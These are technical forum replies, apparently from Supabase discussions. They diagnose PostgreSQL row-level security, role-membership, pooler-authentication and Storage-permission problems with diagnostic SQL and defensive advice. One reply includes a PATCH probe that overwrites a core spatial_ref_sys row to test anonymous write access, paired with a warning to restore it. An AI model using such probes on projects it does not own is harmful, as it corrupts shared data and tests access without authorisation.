Cenk KURTOĞLU

Nice work on this. Reverse-predicate seeding is the part that makes a generated RLS test mean anything — asserting "another tenant can't" against a row that is genuinely another tenant's is the difference between a test and a decoration. And the `documents` footgun demo lands because the matrix reports *reach* rather than intent. One edge case worth checking, from a shape I keep running into when auditing real schemas: **policies written with no `TO` clause.** In `catalog.py`, client-role discovery derives `in_policy` from: ```sql polr AS ( SELECT DISTINCT t.roid FROM pg_policy p JOIN pg_class c ON c.oid = p.polrelid, LATERAL unnest(p.polroles) AS t(roid) WHERE c.relnamespace = (SELECT oid FROM sc) ) ... (r.oid IN (SELECT roid FROM polr)) AS in_policy ``` When a policy omits `TO`, Postgres stores `polroles = '{0}'` — `0` being the PUBLIC pseudo-role, which has no row in `pg_roles`. So that `IN` can never match, and `in_policy` comes back false for every role in a schema whose policies are all PUBLIC-scoped. (`pg_policies` renders the same thing as `{public}`, which is why it is easy to miss when reading the view instead of the catalog.) On Supabase the literal-name fallbacks (`authenticated`, `anon`) cover for this. But `in_policy` is the signal the same function falls back on when those names are absent — the "understands an unknown provider on its own terms" path — and that is precisely where it degrades to *no policy references any role*. This is not hypothetical. The last schema I went through had **17 policies and not one `TO` clause**. A `USING (true)` policy named "Service role full access" therefore applied to PUBLIC, and being permissive it OR'd away every user-scoped policy sitting next to it. Same class of bug as your `documents` demo, reached through the role list instead of the predicate. Two questions: 1. Does the access matrix model PUBLIC as an identity in its own right downstream, or is it only ever reached through concrete role names? 2. Would a lint rule fit for *permissive policy, no `TO`, in a schema that also has role-scoped policies*? That combination is what quietly turns an intended admin escape hatch into a public one — the policy name says one thing and the role list says another. Happy to point it at a schema with that shape if a test case would be useful.

The detail that reframes this: your reads (`.from('clinics').select()`) work with the same session. If Storage were treating the request as `anon` while PostgREST treated it as `authenticated`, both services would have to validate the JWT differently — they don't on the same project. So the authenticated context almost certainly *is* reaching Storage, and I'd shift suspicion away from the publishable-key / legacy-JWT theory toward the one part of the predicate that behaves differently at real insert time than in your SQL simulation: `split_part(name, '/', 1)`. In the SQL editor you fed a known folder value. At a real upload, `name` is the object path *inside* the bucket, and it has to line up exactly: - Upload to `clinic-photos/<clinicId>/photo.png` → `name = '<clinicId>/photo.png'` → `split_part(name,'/',1) = '<clinicId>'` ✅ - A leading slash, an extra path segment, or a different path shape → the first segment isn't the clinic id → the `EXISTS (... id::text = split_part(name,'/',1) ...)` returns FALSE → 403. So first: log the exact `name`/path the SDK is sending and confirm its first segment equals the clinic id you expect. Then isolate it definitively — temporarily reduce the INSERT policy to just: ```sql with check ( bucket_id = 'clinic-photos' and is_admin() ) ``` Re-upload. If it now succeeds, the `EXISTS`/`split_part` folder check is the culprit (a path mismatch), not auth context. If it still 403s, then it's `is_admin()` evaluating under the real request, and I'd look there next. And ruling in @GaryAustin1's point: if you're passing `upsert: true`, the write also has to satisfy the SELECT and UPDATE policies, not just INSERT — that alone can produce this exact error. (For transparency — I maintain an open-source Supabase RLS scanner, github.com/cekuu35/supabase-rls-monitor — but honestly it wouldn't have caught this one either: a `name`/path mismatch is runtime data, not something a static policy check can see. The isolation test above is the right tool here.)

Glad it's unblocked — moving to a fresh schema/migration path is the pragmatic call. And +1 on keeping the ticket open for the orphaned NOLOGIN roles: even though they can't log in, they linger as grantees on objects and still show up in audits and dumps, so having support drop them keeps the role list clean. Good luck with the rest of the migration.

This is a great outcome — the docs contribution is exactly the right place to land it. The fix here isn't really technical, it's the mental model: the Developer role reads "can't change settings or delete projects," so an owner inviting a freelancer reasonably assumes their secrets are safe — and nothing in the UI corrects that. One honest sentence ("deploying Edge Functions grants access to every project secret at runtime") closes the gap for every owner who reads it before sending an invite. If it's useful, the docs note could pair with a one-line operational tip: treat the `service_role` key and anything referenced by a function as compromised the moment you grant deploy access to someone you don't fully trust — and rotate on offboarding. Happy to review the PR when it's up. Nice work pushing this to a real resolution.

Worth separating three layers before assuming the reset didn't take, because your own pooler log points at a specific one. The line that matters is: ``` ClientHandler: Exchange error: password authentication failed for user "postgres" ``` Note the user is `postgres`, not `postgres.<project-ref>`. On the Session pooler your client authenticates *to Supavisor* as `postgres.<ref>`; Supavisor then authenticates *upstream to Postgres* as `postgres`, using the tenant secret it has cached. So that error isn't your client's credential failing the pooler — it's the pooler's own cached upstream secret failing against Postgres after your rotation. The two lines above it fit that reading: ``` SecretChecker not started, using a one-off auth_query connection ClientHandler: Validation secrets changed, cache updated, deleting upstream auth ``` It detected the change and rebuilt the cache, but the upstream auth it then attempted still failed — i.e. the value it refreshed to is not the one that works. That's a pooler-side state problem, not your connection string or Prisma. Two checks confirm it, both of which take Prisma out of the picture: **1. Hit the pooler with `psql`, not Prisma:** ```bash psql "postgresql://postgres.<ref>:<newpw>@<session-pooler-host>:5432/postgres?sslmode=require" ``` If this fails with the same auth error, Prisma is exonerated and you have a clean reproduction. If it *works*, the problem is Prisma-side (usually Session-pooler prepared-statement handling, not auth) and the thread changes. **2. If you can reach a direct connection at all** — you noted IPv6 is down on this VPS, but any IPv4-capable box works, even briefly. Direct connections skip Supavisor's secret cache entirely. New password works directly but not through the pooler = the tightest possible proof the cache is the culprit, and the right artifact for the ticket. If both point at the pooler, the practical unblock is forcing Supavisor to re-read the secret. A project pause/resume sometimes triggers it (heavier than the restart you already tried). Rotating the password once more has also cleared it for some people, presumably by retriggering a clean cache rebuild. And it's worth pushing SU-435660 specifically as *"Supavisor upstream auth failing after password rotation, cache not converging"* rather than a generic outage — that framing tells them where to look. One five-second thing to rule out while you're there, since it produces an identical symptom: confirm the live connection string's username still carries the `.<project-ref>` suffix. A config step that drops it makes you authenticate as bare `postgres` to the pooler, which fails exactly this way.

The error text is identical for two very different causes, and your own evidence points away from the one you're leaning toward. Worth separating them before assuming an ES256 gap. **"new row violates row-level security policy" on a Storage upload is very often not the INSERT check failing — it's the SELECT after it.** Storage runs `INSERT ... RETURNING *`, and if no SELECT policy on `storage.objects` covers the row you just inserted, the RETURNING is filtered out and the whole statement surfaces as exactly this violation. Your `has_table_privilege` check doesn't catch this, because grants and RLS policies are different layers: INSERT/SELECT/UPDATE grants can all pass while a SELECT *policy* is simply absent. This is the single most common cause of this precise 403, and nothing in your "already ruled out" list actually rules it out. Test it first, because it's decisive and takes a minute — add a SELECT policy mirroring your INSERT one: ```sql create policy "read own folder" on storage.objects for select to authenticated using ( bucket_id = 'X' and auth.uid()::text = (storage.foldername(name))[1] ); ``` If uploads start working, `auth.uid()` was never NULL — it resolved correctly on both the INSERT check and this SELECT — and the ES256 theory is dead. **If it still fails, then measure `auth.uid()` directly instead of inferring it.** Right now "auth.uid() is NULL" is a hypothesis, and Gary's question is the right one to press on. You can turn it into a fact by making the policy encode what it sees. Temporarily: ```sql alter policy "<your insert policy>" on storage.objects with check ( (storage.foldername(name))[1] = coalesce(auth.uid()::text, 'NULL_UID') ); ``` Then upload one file into a folder literally named `NULL_UID`. If that upload succeeds, `auth.uid()` is confirmed NULL in the Storage path while PostgREST resolves it — which is the real signature of a token Storage isn't verifying. At that point you have a reproducible artifact for SU-435660 instead of a symptom. One mechanism that fits the "PostgREST fine, Storage not" split specifically: the two paths don't have to resolve the JWT the same way. `auth.uid()` just reads `request.jwt.claims` off the connection; if that claim is populated for the PostgREST path but empty on the connection Storage uses for the RLS check, `auth.uid()` reads NULL there and only there. I wouldn't assert that's what's happening on your project — the two experiments above tell you whether you're even in that territory before support has to weigh in.

The cache explanations above are the most likely answer and the `curl` test is the right first move. But there is a second family of cause that fits your description just as well, and it is worth ruling out in the same sitting because the fix is completely different. Gary's point that "if a request was blocked by RLS you would get no data back and not stale data" holds for a policy that denies everything. It does not hold for a policy that denies *some rows* — and there the symptom is indistinguishable from a stale cache: an anonymous reader sees a set of rows that stops at some point in the past and never advances. Your own wording is what makes me raise it. You write "Create a new **Community/Public** observation", which suggests a record can be one of at least two visibility states. If the anonymous policy admits only one of them and new records are being written as the other, then: - the author sees it (own-row policy), - the authenticated feed sees it (that policy admits both states), - anonymous never sees it, - and because older rows *were* written in the admitted state, anonymous appears frozen at an older snapshot. Every line of your report is satisfied by that, including surviving a redeploy and reproducing across browsers and incognito — which is exactly the evidence being read as "it must be a cache". **The discriminator, with no HTTP layer involved at all:** ```sql begin; select set_config('request.jwt.claims', '{"role":"anon"}', true); set local role anon; select count(*) as rows_anon_sees, max(created_at) as newest_row_anon_sees from public.observations; -- your table name here rollback; ``` Then compare against the unrestricted view: ```sql select count(*) as rows_total, max(created_at) as newest_row_total from public.observations; ``` - If `newest_row_anon_sees` is stuck in the past, **nothing outside the database is involved.** It is the policy, and the cache hunt is the wrong tree. - If anon sees the new row here, then PostgREST would serve it too, and the staleness lives above the database — at which point the `curl` test tells you whether it is the CDN or your framework. Note the `set_config` line specifically: `set role anon` on its own leaves `request.jwt.claims` unset, so `auth.uid()` and `auth.role()` evaluate against NULL rather than against an anonymous request. That is the usual reason a hand-run RLS check disagrees with what the API actually does, in both directions. If it does turn out to be the policy, this is the query that shows you why in one pass: ```sql select p.polname, case p.polcmd when 'r' then 'SELECT' when '*' then 'ALL' else p.polcmd::text end as cmd, array(select rolname from pg_roles where oid = any(p.polroles)) as roles, pg_get_expr(p.polqual, p.polrelid) as using_expr from pg_policy p join pg_class c on c.oid = p.polrelid join pg_namespace n on n.oid = c.relnamespace where n.nspname = 'public' and c.relname = 'observations' order by p.polcmd, p.polname; ``` An empty `roles` array means the policy has no `TO` clause and is therefore evaluated for every role including `anon` — worth knowing which of your policies anonymous readers are actually landing on before you change anything.

Those two results are the interesting part, because together with what you already know they are contradictory: - `can_set_role = false` and `inherits_privs = false` — `postgres` has no path to `supabase_realtime_admin` at all. - Yet `CREATE POLICY ... ON realtime.messages` **succeeds in the SQL Editor**. Both cannot be true for the same role in the same database. `CREATE POLICY` checks `has_privs_of_role(current_role, owner)`, so if that is genuinely false the editor would fail too. Since it does not, the two contexts are not running as the same identity — and that, rather than the CLI version or a stray `SET ROLE`, is what you are chasing. The fastest way to see it is to print the identity from both sides and compare, instead of inferring it: ```sql select current_user, session_user, inet_server_port() as port, current_setting('is_superuser') as is_superuser, (select rolbypassrls from pg_roles where rolname = current_user) as bypassrls, pg_get_userbyid((select relowner from pg_class where oid = 'realtime.messages'::regclass)) as table_owner, pg_has_role(current_user, 'supabase_realtime_admin', 'USAGE') as inherits; ``` Run it once in the SQL Editor, then put the same statement at the top of a throwaway migration and run `supabase db push` with `--debug` so the result is in the output. Whichever column differs is your answer. Two candidates worth expecting: **1. The port.** `db push` uses the connection string from your config or `--db-url`. If that points at the pooler on **6543** rather than a direct connection on **5432**, you are not connecting as `postgres` — the pooler expects `postgres.<project-ref>`, which is a separate role with its own membership list. That would produce exactly your symptom: same SQL, same-looking user, different privileges. A direct `5432` connection string for migrations is the usual fix. **2. `is_superuser` / `bypassrls`.** If the editor path reports differently here, the editor is not simply "running as postgres" and the ownership check is being satisfied by something your migration connection does not have. Either way, the result is worth adding to the CLI issue you opened — a reproducible identity diff is a much stronger report than "same SQL, different outcome", and it tells the CLI maintainers immediately whether this is a connection-string default rather than a bug in the migration runner. One more thing worth doing regardless of how this resolves, since it will bite later: ```sql select tgname, tgrelid::regclass from pg_trigger where not tgisinternal and tgrelid = 'realtime.messages'::regclass; ``` If the policy eventually lands, schema-qualify `fn_get_current_user_unit_id()` as `public.fn_get_current_user_unit_id()` in the policy body. It is evaluated later by Realtime under that connection's `search_path`, not the one your migration ran with, and an unqualified function that resolves fine at create time can raise at evaluation time — which surfaces as a broken subscription rather than a denied one.

Glad it helped, and good call moving to a replacement path rather than fighting it. One small thing worth keeping the ticket open for even though you are unblocked: those seven roles are now orphaned. Nobody in the project can drop them either, because `DROP ROLE` needs the same `ADMIN OPTION` that no longer exists. They will keep showing up in `\du`, and any future cleanup migration that tries to remove them will fail with the same 42501. Cheap to have support delete them while the ticket is already in front of someone.

The mechanism here is documented, and it makes the outcome unavoidable once that migration ran — worth knowing because it lets you rule out a self-service fix immediately instead of hunting for one. Two behaviours combine. **1. The creator got ADMIN OPTION automatically.** From *Role Attributes → Role creation*: "Such a grant occurs automatically when a `CREATEROLE` user that is not a superuser creates a new role, so that by default, a `CREATEROLE` user can alter and drop the roles which they have created." That is why the migration was able to manage the `compass_*` roles at the time. **2. `DROP ROLE` revoked exactly that.** From the `DROP ROLE` page: "`DROP ROLE` automatically revokes any memberships of the target role in other roles, and of other roles in the target role." So the only `ADMIN OPTION` that ever existed on those seven roles was the temporary creator's, and dropping it revoked that membership. The `pg_auth_members` rows are gone rather than left pointing at a dropped grantor — worth keeping in mind when reading your diagnostic, since an inner join on the grantor would hide a dangling row but here there is simply no row. That also settles the self-service question rather than leaving it a guess. `postgres` has `CREATEROLE`, but per the same page, "a `CREATEROLE` user can only exercise special privileges with regard to an existing role if they have `ADMIN OPTION` on it." No admin option, and no superuser reachable in a hosted project, means there is no SQL path back. SU-439959 is the correct and only route. For the rebuild — and for anyone scripting this pattern later — grant admin to a role that will outlive the migration *before* dropping the creator, in the same transaction: ```sql GRANT compass_migrator, compass_enrollware_ingest, compass_ramp_sync, compass_app_runtime, compass_sandbox_writer, compass_issue_approver, compass_mapping_reviewer TO postgres WITH ADMIN OPTION; DROP ROLE compass_temp_creator; ``` The order is the whole thing: after the `DROP`, nobody is left who can issue that `GRANT`.

That settles it, and it is not your project. `pg_has_role(current_user, 'supabase_realtime_admin', 'MEMBER') = false` together with `USAGE = false` means the role behind that connection has neither the membership nor the inherited privileges, so `CREATE POLICY` cannot pass the ownership check on `realtime.messages`. `SET ROLE` failing with the same 42501 confirms there is no way to borrow them either. There is nothing to repair in your migrations. The reason the identical SQL succeeds in the SQL Editor is that the dashboard does not execute over the same connection and privilege path that `supabase db push` uses. Your two results prove that difference exists even though the statement is byte-identical — which is the useful part of what you just measured. So the guarantee in #34270 ("create RLS policies ... on realtime.messages") currently holds through the dashboard path only. That mismatch between the documented permission and what the CLI connection can actually do is exactly what supabase/cli#6116 should track, and filing it separately was the right call. To unblock your pipeline meanwhile: apply the policy once from the SQL Editor, then mark that migration as already applied so `db push` stops retrying it: ``` supabase migration repair <version> --status applied --linked ``` The migration file stays in version control as the record of intent, and CI stops failing on a statement that connection cannot execute.

The blocked-fix table in your post is accurate and useful — that part matches how PostgreSQL behaves, including the `REVOKE` silently no-opping because only the original grantor can revoke. But the evidence for the write exposure does not yet establish what it is being read as, and it is worth nailing down before this is treated as confirmed, because the two possible answers lead to completely different places. **`204` on those two requests does not distinguish "the write succeeded" from "zero rows matched".** PostgREST returns `204 No Content` for a successful write with no return representation, *and* for a write that matched no rows. Your probe uses `srid=eq.999999`, and PostGIS declares the table as: ```sql CREATE TABLE spatial_ref_sys ( srid integer NOT NULL PRIMARY KEY CHECK (srid > 0 AND srid <= 998999), ... ); ``` `999999` fails that CHECK, so no such row can exist — the `PATCH` and `DELETE` matched zero rows by construction. A role with no write privilege at all would return the same `204` against that filter. To settle it, ask for the affected rows back, against an SRID that actually exists: ``` PATCH /rest/v1/spatial_ref_sys?srid=eq.4326 Prefer: return=representation Content-Type: application/json {"srtext": "probe"} ``` - A modified row in the response body means the write privilege is real, and the finding stands as written. - `401`/`403`, or `200` with `[]`, means it is not — and the whole thing is a read-only exposure of public reference data, which is the benign case people are describing in #47526. Please only run that against your own project, and restore the row afterwards — `4326` is the SRID nearly everything depends on. **Either way, this is the check that tells you what your project actually grants:** ```sql select grantee, privilege_type from information_schema.role_table_grants where table_schema = 'public' and table_name = 'spatial_ref_sys' and grantee in ('anon', 'authenticated') order by grantee, privilege_type; ``` Anything beyond `SELECT` there is the exposure, and it is visible without probing the API at all. **Why the distinction matters more than the lint warning** The advisor finding and the write finding are two different things, and #47526 collapses them into one: - **Read access is genuinely benign.** `spatial_ref_sys` holds EPSG projection definitions shipped with the extension. There is no user data in it, so `0013_rls_disabled_in_public` firing on it is noise. - **Write access, if confirmed, is not a data-confidentiality bug — it is an availability bug.** Deleting or corrupting rows there breaks `ST_Transform` and anything downstream of it for every user of the project, and it is not recoverable from the application side. That is worth a different severity and a different owner than "lint noise", which is why the evidence standard matters here. And the grant-chain point in your table is the part that makes this a platform question rather than a user one: if the write grants are real, the project owner provably cannot remove them — `REVOKE` no-ops, `ALTER TABLE` needs ownership, `SET ROLE supabase_admin` is denied. Moving PostGIS to the `extensions` schema, as @GaryAustin1 and @CharlesKahn describe, works but is a destructive migration for anyone with existing geometry columns, which is a steep price for closing a hole you did not open.

The most useful detail in your report is the one that looks like a side note: your own `auth_user_login` RPC works while `/auth/v1/token` does not. Those two paths read the same rows. What differs is the role. Your RPC runs on the PostgREST connection (`authenticator`, then `anon` or `authenticated`), while GoTrue connects as **`supabase_auth_admin`**. So the failure is almost certainly a privilege or ownership drift on the `auth` schema rather than anything about your users, your passwords, or your RLS policies — which also explains why "RLS is correctly configured" is true and irrelevant at the same time. Run this as `postgres`: ```sql select c.relname, c.relowner::regrole as owner, c.relrowsecurity as rls_enabled, c.relforcerowsecurity as rls_forced, has_table_privilege('supabase_auth_admin', c.oid, 'SELECT') as auth_admin_can_read from pg_class c join pg_namespace n on n.oid = c.relnamespace where n.nspname = 'auth' and c.relkind = 'r' order by 1; select has_schema_privilege('supabase_auth_admin', 'auth', 'USAGE') as schema_usage; ``` Every row should be owned by `supabase_auth_admin` with `auth_admin_can_read = true`, and `schema_usage` should be true. Two specific ways this breaks: - **An owner other than `supabase_auth_admin`.** Once ownership moves, the owner-bypass for RLS stops applying to GoTrue, and any policy on that table starts filtering the rows it needs. - **`rls_forced = true` on an `auth` table.** Forcing RLS removes the owner bypass even when ownership is correct. Blanket "enable and force RLS on every table" scripts reach into `auth` more often than people expect. If those all look right, then the other cause is the one GaryAustin1 pointed at, and it is worth checking directly rather than by elimination — a password grant updates `auth.users` (`last_sign_in_at`, refresh token rows), so a trigger that raises will surface as exactly this error: ```sql select tgname, tgrelid::regclass as on_table, pg_get_triggerdef(oid) from pg_trigger where not tgisinternal and tgrelid in ('auth.users'::regclass, 'auth.identities'::regclass, 'auth.sessions'::regclass); -- and any column added to auth.users that GoTrue does not know to populate select attname, atttypid::regtype as type, attnotnull from pg_attribute where attrelid = 'auth.users'::regclass and attnum > 0 and not attisdropped order by attnum; ``` A `NOT NULL` column with no default added to `auth.users` produces the same 500, because GoTrue's insert or update has no value for it. Your `error_id` (`019fc961-519b-76a1-a75d-e0b5d0a5301d`) is searchable in Logs Explorer under Auth logs, and the matching Postgres log line for that minute carries the real SQL error. That is the shortest route to the answer — everything above is how to fix what it tells you. --- *En français, en résumé :* le fait que votre RPC fonctionne et que `/auth/v1/token` échoue est le point décisif. Les deux lisent les mêmes lignes ; ce qui change, c'est le rôle. GoTrue se connecte en tant que `supabase_auth_admin`, votre RPC non. Vérifiez donc le propriétaire et les droits des tables du schéma `auth` avec la première requête ci-dessus : toute table dont le propriétaire n'est pas `supabase_auth_admin`, ou dont `rls_forced` vaut `true`, est la cause. Sinon, regardez les triggers sur `auth.users` et les colonnes `NOT NULL` ajoutées à cette table.

This is not an ownership or provisioning problem with your project — the owners you printed are the expected ones. It is how PostgreSQL resolves the ownership check for `CREATE POLICY`. `CREATE POLICY` requires you to *be* the owner of the relation, and internally that check is `has_privs_of_role(current_role, owner)` — **privileges of**, not membership in. Those are two different things: - `MEMBER` means you are allowed to `SET ROLE` to it. - `USAGE` means you already hold its privileges without doing so, which only happens when the membership is inheritable. If `postgres` is a member of `supabase_realtime_admin` but the grant is `NOINHERIT`, every ownership check fails until you switch into the role explicitly. That produces exactly `42501 must be owner of relation messages` while `current_user` still reports `postgres`, which is the part that makes it read like a provisioning bug. Run this to see which case you are in: ```sql select pg_has_role(current_user, 'supabase_realtime_admin', 'MEMBER') as can_set_role, pg_has_role(current_user, 'supabase_realtime_admin', 'USAGE') as inherits_privs; ``` `can_set_role = true` with `inherits_privs = false` is the situation described above, and the migration then becomes: ```sql set role supabase_realtime_admin; create policy authorize_record_edit_presence on realtime.messages for all to authenticated using ( realtime.topic() like 'record_edit:%' and split_part(realtime.topic(), ':', 2)::uuid = public.fn_get_current_user_unit_id() ); reset role; ``` If `can_set_role` also comes back false, then `postgres` genuinely has no path to that role on your project and no amount of SQL from the migration will work — that one is worth escalating rather than debugging. --- One thing worth changing regardless of how the ownership resolves: schema-qualify `fn_get_current_user_unit_id()`. Your policy body is evaluated later, by Realtime, under whatever `search_path` that connection has — not the one your migration ran with. An unqualified function that resolves fine at `CREATE POLICY` time can fail at evaluation time, and a policy that raises an error does not fail open or closed in a way you would notice quickly: the statement errors instead of filtering. `public.fn_get_current_user_unit_id()` avoids the whole question. Same reasoning applies to the `::uuid` cast — if a topic ever arrives whose second segment is not a UUID, `split_part(...)::uuid` raises rather than returning false, and the error surfaces as a broken subscription rather than a denied one.

Your post already rules out most of what a checklist would suggest, so here are four things that split the remaining cases apart rather than another list. **1. The SQL Editor test does not reproduce the real request** `set role anon; insert into storage.objects (...)` runs with `request.jwt.claims` unset, so any policy expression touching `auth.uid()`, `auth.jwt()` or `auth.role()` is evaluated against NULL rather than against your token. Reproduce it with the setting the API actually populates: ```sql begin; select set_config('request.jwt.claims', '{"role":"anon"}', true); set local role anon; insert into storage.objects (bucket_id, name, owner, owner_id, metadata) values ('product-photos', 'diag/test.txt', null, null, '{}'::jsonb); rollback; ``` If that fails where your earlier test passed, the difference is the claims, not the grants. **2. Check for a RESTRICTIVE policy** Permissive policies OR together, but a restrictive policy ANDs — so one restrictive policy evaluating false blocks the insert regardless of how many `with check (true)` policies sit beside it. Dashboard-created policies are permissive, but anything applied from a migration or copied from a template may not be, and `pg_policies` puts that column where it is easy to skim past: ```sql select pol.polname, pol.polcmd, pol.polpermissive, array(select rolname from pg_roles where oid = any(pol.polroles)) as roles, pg_get_expr(pol.polqual, pol.polrelid) as using_expr, pg_get_expr(pol.polwithcheck, pol.polrelid) as with_check_expr from pg_policy pol where pol.polrelid = 'storage.objects'::regclass order by pol.polpermissive, pol.polcmd, pol.polname; ``` Any row with `polpermissive = false` is the answer. An empty `roles` array means the policy targets PUBLIC rather than a named role. **3. If the call passes `upsert: true`** That makes the write a conflict-handling insert, and the conflicting path is checked against the **UPDATE** policy's `WITH CHECK`, not the INSERT one. A missing or failing UPDATE `WITH CHECK` reports the identical message, "new row violates row-level security policy", which is why this one hides so well. Worth running a single upload with `upsert` explicitly false to separate the two cases. **4. Which statement actually failed** The 403 surfaces through storage-api, so the message you see has already lost the statement that produced it. Logs Explorer → Postgres logs, filtered to the minute of a failed upload, shows the real statement and the policy name involved. That distinguishes "Postgres rejected the row" from "storage-api rejected the request before it reached Postgres" — and given this project has the new key system enabled alongside the legacy keys, the second is worth eliminating explicitly. To @k1ng-arthur's question above: the publishable-key result is a genuinely useful data point here. If the publishable key succeeds where the legacy `anon` key fails, the problem is in key resolution rather than in the policies, and everything in this thread about RLS is the wrong tree.

Good outcome, and it is worth noting you got there by pushing back on the first reply rather than accepting it. The threat model in your second comment is what moved this. One suggestion on the docs note, because "deploying Edge Functions grants implicit access to all project secrets" is true but narrower than the thing that will surprise the next person. The general shape is: **any permission that decides what code runs in a privileged context carries the permissions of that context.** Edge Function deploy is one instance of it. At least one other lands identically: - Migration or DDL rights. Someone who can `create function ... security definer` owned by a privileged role has arranged for their code to run as that role. Different runtime, same reasoning, same outcome. So if the note names only Edge Functions, an owner who restricts the Developer role and then hands over migration access gets surprised a second time — and the docs will have been technically correct throughout. Stating the principle once and giving Edge Functions as the worked example ages better than enumerating surfaces. Wording, if it is useful as a starting point: > Deploying Edge Functions grants access to every secret available to the Functions runtime. A member who can deploy code can read those values regardless of whether they can view or manage secrets in the dashboard, because the code they control runs in the process that holds them. More generally, any permission to decide what code runs in a privileged context carries that context's access. On the redaction PR: I would put the scope in the UI string itself, not only in the PR description. If the Logs view says "secrets redacted", the next owner reads that as a control and reasons from it. Something like "known secret values are hidden from this view" is accurate and does not imply containment. The PR description is read once; the label is read forever. And the separation-of-environments point stands as the actual fix for your Upwork/Fiverr scenario, independent of both contributions: a partially-trusted developer deploying against a preview branch with its own test secrets makes "they can read every secret in the environment they can deploy to" stay true and stop mattering. That is the only version where the owner's mental model and reality line up without anyone having to read a warning.

Strong direction, and the core argument holds: a `security definer` RPC that accepts caller-provided SQL is a pattern worth actively discouraging, and replacing it with a bounded function with a fixed signature and a clamped result count is strictly better. One thing I would want settled before this becomes a docs entry, because a docs entry teaches the security model and not just the wiring — and item 3 of your proposed contribution is explicitly "RLS, credential, and `security invoker` guidance." **In this configuration RLS is not enforcing tenancy, and `security invoker` is not doing what a reader will assume it does.** The adapter connects with a service credential, and your validation notes the function is granted only to `service_role`. The service role bypasses RLS. So "RLS was enabled" is true and also not load-bearing: no policy on the vectors table is evaluated on this path. `security invoker` is the right choice, but its usual selling point — the function stays inside the caller's permissions — buys nothing when the caller holds all of them. That leaves the tenant boundary resting entirely on one parameter: ```sql filter jsonb default '{}'::jsonb ... where vectors.metadata @> filter ``` `@>` against `'{}'` is satisfied by every row. So a call site that omits `filter` does not error and does not warn — it returns every tenant's vectors ranked by similarity, which then goes into a prompt and comes back paraphrased with no attribution. Your validation confirms the boundary works when it is used ("JSON metadata filtering was honored"), which is a different property from the boundary being enforced. The test that separates them is calling `search` with no `filter` while two tenants have rows, and asserting it does not return both. None of this argues against documenting the adapter. It argues that the docs entry should say plainly that **tenancy here is enforced by the caller, not by the database** — otherwise the combination of "RLS enabled", "granted only to service_role" and "`security invoker`" reads as three layers of database-side protection when it is really one layer of application-side discipline. Two changes that would let the entry claim more: 1. Make scope required and non-JSON: a `tenant_id text` parameter with no default, separate from the free-form `filter jsonb`. A missing argument then fails at the call site instead of silently widening. Mirroring that in the TypeScript `search` options — `filter` required rather than optional — turns the same mistake into a compile error. 2. If the goal is genuinely database-enforced isolation, the path has to run under a role subject to RLS rather than `service_role`, plus `alter table ... force row level security` so the owner does not bypass it either. Heavier, and probably the right default only for the multi-tenant case — but it is the only version where "RLS protects you here" is accurate. Happy to review the SQL in the docs PR if that is useful. The bounded-function pattern is worth having written down somewhere official; I would just rather it be written down with the boundary described accurately, since a docs entry is exactly what people copy without re-deriving.

Not Supabase staff, but four of these are already settled in this repo and one of them has a live report from two days ago that your design walks straight into. Taking them in order. **1 and 2 and 3 — transaction pinning and `SET LOCAL`.** Answered in [#47946](https://github.com/orgs/supabase/discussions/47946), and the answer there is worth reading in full because it makes a point that changes how you should think about question 3. Short version: in transaction mode the transaction is the unit of multiplexing, so a backend is held from `BEGIN` to `COMMIT`/`ROLLBACK` and is not interleaved with another client. But you do not have to trust the pooler for this. `SET LOCAL` is reverted by the Postgres server at commit or rollback ([docs](https://www.postgresql.org/docs/current/sql-set.html): "the command takes effect for only the current transaction"), so the state is gone before the pooler could possibly reassign the connection, whether or not a `DISCARD ALL` runs in between. That distinction decides your question 2. `SET LOCAL ROLE` is safe. Plain `SET ROLE` is the documented hazard of transaction mode — session state can outlive the assignment. For an architecture whose entire security boundary is "which role am I running as", that difference is the whole design, so make it structurally impossible to issue the session-scoped form rather than a convention you rely on reviewers to catch. On statement cancellation specifically: cancelling a statement inside an explicit transaction puts it in the aborted state, and you can only `ROLLBACK` out — which reverts the `SET LOCAL` on the same path as any other rollback. Client disconnect terminates the backend session. Neither is a separate leak path from the two you already have. **4 — transaction-level advisory locks.** Fine, and the qualifier in your wording is doing the work. `pg_advisory_xact_lock` is released at transaction end by the server, so it lives and dies inside the pinned window. Session-level `pg_advisory_lock` is the one that must never appear on port 6543: it is held until explicitly released or the session ends, so it outlives your transaction and leaks onto whichever client gets that backend next — a lock you cannot see and did not take. Same rule as `SET` versus `SET LOCAL`, same reason. **5 — prepared statements with node-postgres.** Yes, disable. This is explicit in the docs: [Disabling prepared statements](https://supabase.com/docs/guides/troubleshooting/disabling-prepared-statements-qL8lEL) — "although the direct connections and Supavisor in session mode support prepared statements, Supavisor in transaction mode does not." For `pg` specifically the instruction is not a connection flag, it is a code-level one: omit the `name` field from your query objects, since a named query is what makes node-postgres use the extended protocol's prepared statement path. ```ts const query = { name: 'fetch-user', // <-- this is the thing to remove text: 'select * from app.thing where id = $1', values: [id], } ``` **6 — custom LOGIN role with SET-only membership in a NOLOGIN runtime role.** Supported, and this is the one I would slow down on, because [#48783](https://github.com/orgs/supabase/discussions/48783) was opened two days ago by someone whose architecture is shaped almost exactly like yours and who is now locked out of their own roles. Their migration created seven custom `NOLOGIN` group roles using a temporary role that held `CREATEROLE`, then dropped that role at the end of the migration. On hosted Supabase the `postgres` role is not a superuser, so it did not inherit `ADMIN OPTION` on those roles, and the grantor no longer exists. The result: ``` ERROR: 42501: permission denied to grant role "compass_migrator" DETAIL: Only roles with the ADMIN option on role "compass_migrator" may grant this role. ``` They can neither manage memberships nor grants on roles their own application depends on, from the SQL Editor or anywhere else. Your plan has the same shape — a restricted `NOLOGIN` runtime role that something has to grant to the application login. So before you implement: - Create the runtime role **as `postgres`**, or explicitly `GRANT <runtime_role> TO postgres WITH ADMIN OPTION` in the same migration, while the creating role still exists. - Do not let the role that created it be dropped before that grant is in place. That single ordering mistake is not recoverable by you on hosted Supabase. - Verify afterwards, in the same migration, rather than assuming: ```sql select r.rolname as role, m.rolname as member, am.admin_option from pg_auth_members am join pg_roles r on r.oid = am.roleid join pg_roles m on m.oid = am.member where r.rolname = '<runtime_role>'; ``` One version note on the SET-only membership itself: `GRANT <runtime_role> TO <app_login> WITH INHERIT FALSE, SET TRUE` — the syntax that expresses "may `SET ROLE` to it but does not inherit its privileges" — is PostgreSQL 16+. Check your project's server version before writing the migration, because on 15 the closest you get is `NOINHERIT` on the login role itself, which is a property of the role rather than of that one membership and therefore applies to every role it is a member of. The fail-closed instinct in the rest of the design is the right one. Just make sure the role-management path is fail-closed too, which is precisely what #48783 was not.

